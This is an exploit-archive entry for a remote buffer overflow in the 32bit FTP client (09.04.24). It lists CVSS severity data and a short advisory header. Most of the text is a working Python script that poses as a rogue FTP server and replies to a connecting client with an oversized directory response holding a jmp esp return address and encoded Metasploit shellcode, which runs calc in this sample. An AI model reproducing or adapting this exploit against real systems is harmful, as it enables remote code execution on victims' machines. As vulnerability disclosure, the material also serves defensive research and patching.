32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit

2009-05-12 / 2009-05-13
Credit: His0k4
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python # _ _ _ __ _ _ _ #| || | (_) ___ / \ | |__ | | | #| __ | | | (_-< | () | | / / |_ _| #|_||_| |_| /__/ \__/ |_\_\ |_| # #[*] Bug : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit #[*] Tested on : Xp sp3 (EN)(VB) #[*] Exploited by : His0k4 #[*] Greetings : All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com #[*] Serra7 Merra7 koulchi mderra7 :p from socket import * payload = "\x41"*1020 payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com payload += ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47" "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58" "\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58" "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54" "\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58" "\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47" "\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a" "\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b" "\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43" "\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37" "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59" "\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56" "\x4e\x56\x43\x36\x42\x30\x5a") s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 21)) s.listen(1) print "[+] Listening on [FTP] 21" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.send("220 Hello\r\n") c.recv(1024) c.send("331 pwd please\r\n") c.recv(1024) c.send("230 OK\r\n") c.recv(1024) c.send("250 CWD command successful.\r\n") c.recv(1024) c.send("257 "+payload+" is current directory.") c.close() raw_input("[+] Done, press enter to quit") s.close()

References:

http://www.securityfocus.com/bid/34822
http://www.milw0rm.com/exploits/8613


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